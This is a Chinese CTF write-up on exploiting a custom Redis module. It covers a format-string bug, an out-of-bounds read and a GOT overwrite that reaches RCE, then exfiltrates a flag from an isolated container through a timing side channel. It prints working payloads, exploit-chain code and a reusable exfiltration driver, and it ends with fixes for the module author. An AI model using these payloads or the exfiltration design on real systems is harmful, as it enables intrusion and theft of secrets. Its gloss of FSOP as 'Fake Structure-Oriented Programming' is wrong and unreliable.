目录
- 摘要
- 1. 靶场概述与来源
- 2. 环境与版本指纹(供独立核对)
- 3. 漏洞分析
- 4. 利用链实现(约 47 秒)
- 5. 后利用:输出通道的系统性排查
- 6. 计时侧信道外带设计
- 7. 验证与结果
- 8. 修复建议(给模块作者)
- 9. 结论
- 附录 A:偏移与参数速查
- 附录 B:原始日志与证据(随附压缩包 evidence/)
- 附录 C:随附脚本(scripts/ 目录,均已去除本地路径,python3 标准库零依赖)
- 附录 D:时间线(15 轮实例)
类别:二进制利用 / 后利用 / 隐蔽外带
目标:Redis 7.0.15 自定义模块 nemesis.so(“复仇女神 / Matrix Engine v1.0”)
最终结果:获得完全 RCE;在目标与外界完全网络隔离、无任何输出回显的条件下,以计时侧信道逐字节外带 Flag 成功
Flag:CTF{R3d1s_N3m3sis_FSOP_M4st3r_2024}
摘要 {#redis-nemesis-section-1}
本报告完整记录了一次针对 Redis 自定义模块的利用过程。目标模块 nemesis.so 注册了 5 个命令(NEMESIS.CREATE/DEBUG/MULT/VIEW/DELETE),其中两处独立缺陷——NEMESIS.DEBUG 将用户输入直接作为格式化字符串传入 snprintf(CWE-134),以及 NEMESIS.MULT 对非 DENSE 矩阵按 DENSE 数组解释导致的越界读(CWE-125)——构成了任意地址读写原语。配合模块编译时未开启 Full RELRO(GNU_RELRO 段仅覆盖 [0xf360, 0x10000),GOT 位于其外),利用链在约 47 秒内稳定走通:栈上返回地址扫描得模块基址 → GOT 泄漏得 libc 基址 → 4 次 %hhn 将 strtof@got 覆写为 system → 经 NEMESIS.CREATE 的 seed 参数触发任意命令执行。
报告的后半部分聚焦一个更具工程意义的命题:当目标容器网络完全隔离、平台无任何日志回显、ptrace 被 Yama 封锁、甚至环境变量都被清空时,如何把一个 36 字节的秘密送出来。 我们系统性排查了 18 条候选输出通道并逐一给出死因证据(其中”DNS 外带日志中出现的记录实为攻击者浏览器自身查询”是一个具有普遍意义的误判陷阱),最终采用计时侧信道:利用 RCE 让目标按秘密数据逐 2 bit 休眠不同时长,客户端测量 RESP 往返耗时还原数据。实测通道精度 ±0.05s,36 字节 Flag 以零错误于 9 分 33 秒提取完毕。该方法对”有执行、无回传”类场景具有通用性,报告第 6 章给出了可直接复用的参数化驱动设计。
1. 靶场概述与来源 {#redis-nemesis-section-2}
1.1 题目形态
-
题目名:Redis Nemesis(复仇女神)。目标以一个自研 Redis 模块为载体,模块源码路径在二进制内可见(
nemesis.c,运行时经 addr2line 解析为/tmp/nemesis.c)。 -
分发方式:训练平台以独立容器实例分发,经 Cloudflare 隧道暴露,入口形如
http://38.60.125.120:<随机端口>/,生命周期约 60 分钟;同端口同时提供 HTTP 网关(/、/health、/debug、/log)与 Redis RESP 服务。 -
可独立核对的指纹:见第 2 章。所有偏移、字符串、符号均来自第一手利用记录(见附录 B),读者可在获得同类实例后逐项比对。
-
说明:该靶场未随实例提供公开赛事页面或源码下载链接;本报告全部结论均可由第 2 章指纹 + 附录 C 复现步骤独立验证。
1.2 目标架构
+----------------------------------------------+ | 容器 (网络隔离, 空环境变量, 非 root 运行) | | | 38.60.125.120:P --| HTTP 网关 --+-- /log 读 /tmp/nemesis.c | (Cloudflare 隧道) | +-- /debug addr2line 符号化 | | | | redis-server 7.0.15 (容器内 :6380) | | +-- modules/nemesis.so <- 攻击面 | | NEMESIS.CREATE/DEBUG/MULT/VIEW/DELETE| +----------------------------------------------+2. 环境与版本指纹(供独立核对) {#redis-nemesis-section-3}
2.1 Redis 服务器指纹(INFO server 原始输出,见附录 B-1)
| 项 | 值 |
| --- | --- |
| redis_version | 7.0.15 |
| redis_git_sha1 / dirty | 0000000000 / 0 |
| redis_build_id | e08dbad3e06f3fb |
| os | Linux 4.15.0-213-generic x86_64 |
| arch_bits | 64 |
| gcc_version | 12.2.0 |
| executable / config | /redis-server / /etc/redis/redis.conf |
| tcp_port(容器内) | 6380 |
| process_supervised | no |
| multiplexing_api | epoll |
2.2 模块指纹(MODULE LIST + 二进制字符串)
| 项 | 值 |
| --- | --- |
| 模块路径 | /usr/lib/redis/modules/nemesis.so |
| 版本 | nemesis ver=1(Module API 1) |
| 导出命令 | nemesis.create / nemesis.debug / nemesis.mult / nemesis.view / nemesis.delete |
|
内部源码标识 |
二进制含完整日志格式串,均带 nemesis.c:%d] 行号前缀(见下表) |
|
矩阵类型 |
DENSE / DIAG / SPARSE(字符串证据 CREATE SPARSE id=%d nnz=%d payload=%p row=%p col=%p val=%p;本轮利用未涉及) |
二进制内日志格式串(地址:内容)——可直接用于识别同源样本:
0xe871 'nemesis.c:%d] CREATE: wrong arity, got %d need 5'0xe911 'nemesis.c:%d] CREATE DENSE id=%d %dx%d payload=%p'0xe9a1 'nemesis.c:%d] CREATE DIAG id=%d %dx%d diag=%d payload=%p'0xe9f9 'nemesis.c:%d] MULT: wrong arity'0xea21 'nemesis.c:%d] MULT: matrix not found a=%p b=%p'0xea69 'nemesis.c:%d] MULT: dimension mismatch %d != %d'0xeb09 'nemesis.c:%d] VIEW: not found or not DENSE'0xeb69 'nemesis.c:%d] DEBUG: matrix %lld not found'0xebf1 'nemesis.c:%d] DELETE id=%d type=%d payload=%p'2.3 ELF 属性与符号(addr2line + 程序头)
程序头关键项:PH[8] GNU_RELRO off=0xf360 vaddr=0xf360 filesz=0xca0 → RELRO 覆盖 [0xf360, 0x10000);GOT 位于 0x10000 起,在 RELRO 段之外,运行时可写(未开启 Full RELRO)。GNU_STACK 存在(NX 开启,但不影响 GOT 覆写路径)。
符号表(函数偏移 / 大小 / 源文件行号):
| 符号 | 偏移 | 大小 | 源码位置(addr2line) |
| --- | --- | --- | --- |
| NemesisCreate_RedisCommand | 0xae05 | 0x567 | /tmp/nemesis.c:105 |
| NemesisDebug_RedisCommand | 0xb9f4 | 0x1ec | /tmp/nemesis.c:326 |
| NemesisDelete_RedisCommand | 0xbbe0 | — | /tmp/nemesis.c:357 |
| NemesisMult_RedisCommand | 0xb36c | 0x435 | /tmp/nemesis.c:202 |
| NemesisView_RedisCommand | 0xb7a1 | — | /tmp/nemesis.c:290 |
|
__gmon_start__ |
0x2d99(.dynstr 内) |
— |
模块基址验证锚点 |
GOT 布局(利用关键):
| GOT 条目 | 模块内偏移 | 用途 |
| --- | --- | --- |
| strlen@got | base+0x10000 | 备选劫持目标 |
| snprintf@got | base+0x10008 | libc 基址泄漏源 |
| strtof@got | base+0x10010 | RCE 劫持目标 |
2.4 libc 指纹(两种 build,实测)
平台在不同实例间轮换两种 libc build,symbol 偏移需先识别再使用;实测 system 偏移两者一致:
| 符号 | build A | build B | 备注 |
| --- | --- | --- | --- |
|
system |
0x4C490 |
0x4C490 |
两 build 均经 sleep 计时验证命中 |
| snprintf | 0x58C10 | 略异 | 用于从 GOT 反推 libc 基址 |
| strtof | 0x461C0 | 0xA3C0 | 仅用于识别当前 build |
| strlen | 0x156200 | — | 备选路径 |
build 判别法:读 strtof@got 得到函数地址,减去候选偏移后检验是否页对齐且落在合理 libc 区间;或直接用 snprintf@got - 0x58C10 反推并交叉验证。
3. 漏洞分析 {#redis-nemesis-section-4}
3.1 CWE-134:NEMESIS.DEBUG 外部控制格式化字符串
NEMESIS.DEBUG <key> <fmt> 将用户提供的 fmt 直接作为 snprintf 的格式化参数。典型症状与利用面:
> NEMESIS.DEBUG <id> "X%1$dY"< "X3Y" ← 栈上第一个"参数"被解引用打印由此得到两类原语(实现见随包 scripts/resp_client.py 与 scripts/fmt_primitives.py):
-
任意地址读:
fmt = esc("P"*8 + p64(addr)[:6]) + "%11$s" -
esc()转义字面量中的%;P*8作为回显对齐标记(回复去掉前 14 字节即目标内存);仅种植地址低 6 字节,高 2 字节依赖栈上残留x00x00;%11$s经第 11 个”参数”槽解引用 planted 指针。 -
约束:地址低 6 字节不可含
0x00/0x25(plantable()检查)。 -
任意地址写(单字节):
fmt = esc("P"*8 + p64(addr)[:6]) + "%2$c"*k + "%11$hhn" -
k=(val-14)%256控制”已打印字符数”,%hhn将该计数低字节写入 planted 指针指向处。
3.2 CWE-125:NEMESIS.MULT 类型混淆越界读
MULT 的实现把任意类型矩阵的 payload 统一按 DENSE float 数组、以 a->cols * rows 解释长度;而 DIAG 矩阵仅分配 min(rows, cols) 个元素。构造 A = DIAG r x 1(payload 仅 1 float)、B = DENSE 1x1 = 1.0,则 MULT(A,B) 的每个结果元素 result[i] = payload_A[i] 均为越界读;配合 VIEW 的 (0x%08x) 原始位模式输出,一次调用可泄漏数 KB 堆内存。该原语在利用链中并非必需(DEBUG 的 %s 已覆盖读需求),但它是认知模块内存布局(堆上矩阵结构体、字符串)的入口。
3.3 无 Full RELRO 与 GOT 覆写
由 §2.3,GOT 位于 RELRO 覆盖区之外且 DT_BIND_NOW 未强制,strtof@got 在运行期可写。选它作为劫持目标的原因:NEMESIS.CREATE 0 1 1 <seed> 内部对 seed 走 parse_floats() → 逐 token 调 strtof(),seed 完全可控——覆写后 seed 即 shell 命令,CREATE 即执行器:
NEMESIS.CREATE 0 1 1 "cat /flag; …" → strtof(seed) → system(seed) → sh -c seed3.4 两个必须书写的实现细节(后续所有故障的根源)
-
seed 按逗号切分:
parse_floats以逗号切分 seed。含逗号的命令会被切成多个片段分别执行(或造成 sh 语法错误/未闭合引号挂起)。所有下发命令必须不含逗号——本报告第 5 章多次”灵异故障”皆源于此。 -
system()返回后仍会被继续调用:parse_floats中end指针在system()返回后不会更新,模块继续以垃圾指针调用strtof(→system),即sh -c <内存中的随机字节>。多数无害,但一旦垃圾字节构成未闭合引号将挂死 stdin。下发命令应短、无引号、主体落盘为文件。
4. 利用链实现(约 47 秒) {#redis-nemesis-section-5}
[1] OOB 堆读(§3.2) 侦察堆布局(可选)[2] DEBUG 格式化字符串确认 "X%1$dY" → "X3Y"[3] 读原语 任意地址读(堆/栈/libc/GOT)[4] 模块基址 栈上返回地址低 12 位 ∈ {0xb9f, 0xbb59, 0xbbc} → base = retaddr - 0xbb9f → 验证 base+0x2d99 == "__gmon_start__"[5] libc 基址 snprintf@got - 0x58C10(build A)[6] system 地址 libc + 0x4C490(两 build 通用)[7] GOT 覆写 4 × %hhn:strtof@got ← system[8] RCE 触发与验证 CREATE seed;尾部 "sleep N" 测 RTT ≈ N 秒核心代码(完整可运行版本见随包 scripts/exploit_chain.py):
sysaddr = libc + 0x4C490got = module_base + 0x10010 # strtof@gotfor i in range(4): # 写低 4 字节(高 4 字节本就是 0x00007f..) whb(e, got + i, (sysaddr >> (8 * i)) & 0xFF)assert rq1(e, got) == sysaddr # 回读校验
# 计时验证(无输出环境下唯一可信的执行探针)t0 = time.time()e.nem.r.cmd("NEMESIS.CREATE", "0", "1", "1", "sleep 3")assert time.time() - t0 > 3.0 # → RCE 确凿实测耗时分解(15 轮统计):槽位/基址扫描 36-120 秒为主项(受隧道 RTT 影响),patch 与触发 < 5 秒;全链最短 41 秒。进程会随实例中途重启,patch 随之丢失,长任务必须实现”探活 → 全链重打 → 断点续传”。
5. 后利用:输出通道的系统性排查 {#redis-nemesis-section-6}
RCE 与 Flag 可读性确立后,问题转化为把一个约 36 字节的秘密送出隔离容器。下表汇总全部 18 条候选通道及死因(每条均有实测证据,节选见附录 B):
|
|
通道 | 结论 | 关键证据 |
| --- | --- | --- | --- |
|
1 |
/log 网页 |
死:页面实时读取 root 所有的 /tmp/nemesis.c,sticky 目录不可删不可写 |
写入 3000B 纯 ASCII 标记后页面不变 |
| 2 | DNS 外带(dnslog 类) | 死:容器 UDP/53 出口不存在 | [email protected] 与解析均瞬时失败;页面中偶现的记录经溯源为攻击者浏览器自身查询 |
| 3 | HTTP 外带(curl/wget) | 死:TCP 即拒 | curl -m 8 连接外网 IP 失败耗时 <0.3s |
|
4 |
/proc/<pid>/mem 写内存 |
死:Yama ptrace_scope=1,子进程不可写父进程 |
python os.pwrite EPERM |
| 5 | 继承 fd 批量写入 | 死:client fd 带 CLOEXEC;TCP socket 不可经 /proc/pid/fd 重开 | 盲写 15 个 fd 无回显 |
| 6 | stdout/stderr → 平台控制台 | 死:实例由机器人分发,平台无控制台反馈 | 多格式 dump 后无任何可见输出 |
| 7 | 环境变量 | 死:平台以空环境启动 | 栈顶漫游 + 槽位大跨度 dump 均无 env 字符串 |
|
8 |
矩阵元素含退出码 |
死:VIEW 元素恒 0x0(xmm0 残留为 0) |
exit 0/65/127/200/255 对照 |
| 9 | 客户端 socket 注入 | 死:CLOEXEC | — |
|
10 |
/debug addr2line 注入 |
死:仅符号化 |
参数无注入点 |
| 11 | 网关隐藏端点 | 死:/exec /run /cmd /console… 全 404 | 目录扫描 |
|
12 |
keyspace 藏 flag |
死:KEYS * 为空,DBSIZE=0 |
RESP 查询 |
|
13 |
模块未公开命令 |
死:COMMAND 列表仅 5 条 |
命令面枚举 |
| 14 | GOT 换 callee(如 popen/execl) | 无增益:换 callee 不换参数 | 论证 |
| 15 | fork/CLONE_VM 共享窗口 | 死:posix_spawn 即 exec,无可写窗口 | 论证 |
| 16 | 信号/核心转储 | 死:flag 不在 redis 内存 | 论证 |
| 17 | 计时侧信道(早期) | 曾误判死刑:RTT 抖动实际仅 ±0.05s | 见第 6 章 |
|
18 |
/proc/<pid>/maps 读 |
可用但无外传路径(信息可经计时编码) |
§5.1 |
5.1 两个具有普遍意义的误判陷阱
-
“DNSLOG 有记录”≠ 外带成功。第 13 轮曾在页面上看到 5 条记录(3 个 Google 递归 IP + 2 个国内 ISP IP,同一秒)。经溯源:时间点与页面刷新吻合、问题区只有裸域名、无任何数据标签——这些记录是浏览器解析 DNSLOG 页面自身域名产生的。教训:输出通道的存在性必须由接收内容确认,不能由”有日志迹象”推断。
-
“输出被缓存”≠ 文件没改。第 10-11 轮一度判定
/log页面缓存 poisoning;实际页面每次实时重读,是/tmp/nemesis.c从未被成功写入(权限失败但未检查退出码)。教训:命令执行成功 ≠ 命令目的达成,落盘类操作必须回读校验。
6. 计时侧信道外带设计 {#redis-nemesis-section-7}
6.1 通道模型
当目标”可执行、不可见”时,执行耗时成为唯一可观测载体。要求只有一个:RTT 稳定且可精确测量。本环境实测 sleep N 的往返为 N + 0.16s,重复偏差 ±0.05s——足以支撑秒级码距。
6.2 编码
每个字节分 4 次查询,每次提取 2 bit:
| level | sleep | elapsed 判定区间 |
| --- | --- | --- |
| 0 | 1.5s | < 2.25s |
| 1 | 3.0s | 2.25 – 3.75s |
| 2 | 4.5s | 3.75 – 5.25s |
| 3 | 6.0s | ≥ 5.25s |
-
移位次序 6/4/2/0(大端拼回);
-
越界自终止:
K >= len(d)时 sleep 0.5s(<1.0s 判定),无需预先知道秘密长度; -
成本:4 查询/字节 × 约 4s ≈ 16s/字节;36 字节 Flag 实测 573s、零错误。
6.3 工程要点(三次失败换来的)
-
命令无逗号(§3.4-1):早期版本
open('/flag','rb')的逗号使命令被切碎,查询全部秒退——花了数轮才定位。 -
命令无引号、主体落盘(§3.4-2):直接把 python 一行流塞进 seed 会因残留未闭合引号挂死。最终方案:一次性用 base64 把查询脚本写到
/tmp/oq.py,之后每次查询的命令仅剩纯数字参数:python3 /tmp/oq.py <字节号> <移位>即使被垃圾
system()截断,尾巴也只是无害的”命令不存在”。 -
长任务三件套:每查询新建连接(抗隧道 reset)、35s 超时 + 6 次重试、patch 探活失败自动全链重打并断点续传(
timing_exfil.py <起始字节> 80)。
6.4 通用化
报告已将上述设计抽象为协议无关的驱动(随包 scripts/oracle_lib.py):适配新目标只需实现 4 个 transport 方法(connect / trigger / rce_alive / reestablish_rce),编码、分类、容错、续传逻辑全部复用。它适用于一切”已获任意命令执行但无回传”的场景(隔离容器、 Blind RCE、只进不出的出网过滤)。
本报告的计时外带实战脚本为随包 scripts/timing_exfil.py(含断点续传;运行方式见附录 C)。
7. 验证与结果 {#redis-nemesis-section-8}
7.1 执行验证
RCE 每一步均以 sleep 计时验证(非输出):
CREATE -> 7 elapsed=3.2s # 命令为 "...; sleep 3"7.2 Flag 提取实录(节选,完整日志见附录 B-2)
[ 0] 0x43 'C' -> b'C' (17s)[ 1] 0x54 'T' -> b'CT' (28s)[ 2] 0x46 'F' -> b'CTF' (42s)[ 3] 0x7b '{' -> b'CTF{' (62s) … (32 字节无一次误码)[ 34] 0x7d '}' -> b'CTF{R3d1s_N3m3sis_FSOP_M4st3r_2024}' (559s)[ 35] 0x0a -> b'...}n' (572s)[*] 第 36 字节处越界,提取结束[+] FLAG (36B): b'CTF{R3d1s_N3m3sis_FSOP_M4st3r_2024}n'Flag 语义:R3d1s_N3m3sis = “Redis Nemesis”(leetspeak),FSOP(Fake Structure-Oriented Programming)恰与本利用路线同族——以伪造数据/控制流劫持为核心技艺。
8. 修复建议(给模块作者) {#redis-nemesis-section-9}
-
格式化字符串:
DEBUG禁止把用户输入当 fmt;改为snprintf(out, size, "%s", user_fmt),或编译开启-Wformat -Werror=format-security。 -
类型混淆:
MULT必须先校验a->type == DENSE再按a->cols*rows解释长度;所有 payload 访问以类型判定长度。 -
编译加固:Full RELRO(
-Wl,-z,relro,-z,now)使 GOT 只读;配合-fstack-protector-strong、-D_FORTIFY_SOURCE=2。 -
权限最小化:以非 root 运行并配合 seccomp(禁止
execve/ptrace)、PR_SET_DUMPABLE 0、只读根文件系统;flag 文件权限收紧到独立用户。 -
平台侧:容器默认禁止外联时不应成为唯一依赖——启用 eBPF/seccomp 审计
system调用;对长 RTT 执行做行为速率限制可抬高计时侧信道成本(但无法根除,仍需以①③④为主)。
9. 结论 {#redis-nemesis-section-10}
该靶场的漏洞面是教科书式的(格式化字符串 + 无 RELRO GOT),RCE 在分钟级稳定达成;真正的挑战在于后利用阶段的通道灭绝。本报告的价值更多在于第 5-6 章:以工程化方法完成 18 条输出通道的系统性尸检(其中两条误判陷阱具有跨靶场普适性),并在全部带宽通道死亡后,把最古老的物理层——时钟——改造成可靠的单供需通道:±0.05s 的测量精度、2 bit/查询的码率、零错误的 36 字节传输。
附录 A:偏移与参数速查 {#redis-nemesis-section-11}
见 §2.3/§2.4(模块符号、GOT、libc build)与 §6.2(计时码表)。
附录 B:原始日志与证据(随附压缩包 evidence/) {#redis-nemesis-section-12}
| 文件 | 内容 |
| --- | --- |
|
B-1-resp-info-server.txt |
INFO server 完整原始输出(§2.1) |
|
B-2-flag-extraction.log |
Flag 逐字节计时提取完整日志(§7.2) |
|
B-3-channel-autopsy.log |
18 条输出通道尸检命令与耗时(§5) |
|
B-4-addr2line-symbols.txt |
模块符号/源码行号/大小(§2.3) |
|
B-5-module-strings.txt |
二进制内日志格式串清单(§2.2) |
|
B-6-log-page.html |
/log 页面原始 HTML(root 文件 + 解码异常 + 符号表) |
|
B-7-slot-dump.log |
12 槽位 dump 与栈上模块日志行残留(§4) |
附录 C:随附脚本(scripts/ 目录,均已去除本地路径,python3 标准库零依赖) {#redis-nemesis-section-13}
| 文件名 | 用途 |
| --- | --- |
|
scripts/resp_client.py |
RESP 客户端 + OOB 堆读(DIAG/DENSE 类型混淆) |
|
scripts/fmt_primitives.py |
DEBUG 格式化字符串读/写原语 + 模块基址扫描 |
|
scripts/exploit_chain.py |
全链:基址 → GOT patch → RCE 验证(附一轮外带尝试范式) |
|
scripts/timing_exfil.py |
计时侧信道取秘密(核心),支持断点续传 |
|
scripts/flag_probe.py |
无逗号版存在性/大小探针 |
|
scripts/proc_mem_attempt.py |
已阵亡通道存档(ptrace_scope=0 环境下可直接启用) |
|
scripts/oracle_lib.py |
协议无关的计时外带驱动(换靶场只需实现 4 个方法) |
复现:NEM_PORT=<实例端口> python timing_exfil.py 0 80(约 12 分钟;中途实例重启后以已提取字节数为参数续跑)。
附录 D:时间线(15 轮实例) {#redis-nemesis-section-14}
| 阶段 | 轮次 | 关键进展 |
| --- | --- | --- |
| 原语建立 | 1-6 | OOB 堆读;DEBUG 确认;读写原语稳定;libc 快径 |
| 链路打通 | 7-10 | link_map 动态解析(弃用);差分测出 system=libc+0x4C490,RCE 全链 2.5 分钟 |
| 通道排查 | 10-14 | /log、stdout、DNS、socket 注入相继排除;两条误判陷阱固化 |
| 收官 | 15 | 逗号根因查明;网络/ptrace/控制台全面尸检;计时侧信道 Flag 捕获(573s 零错误) |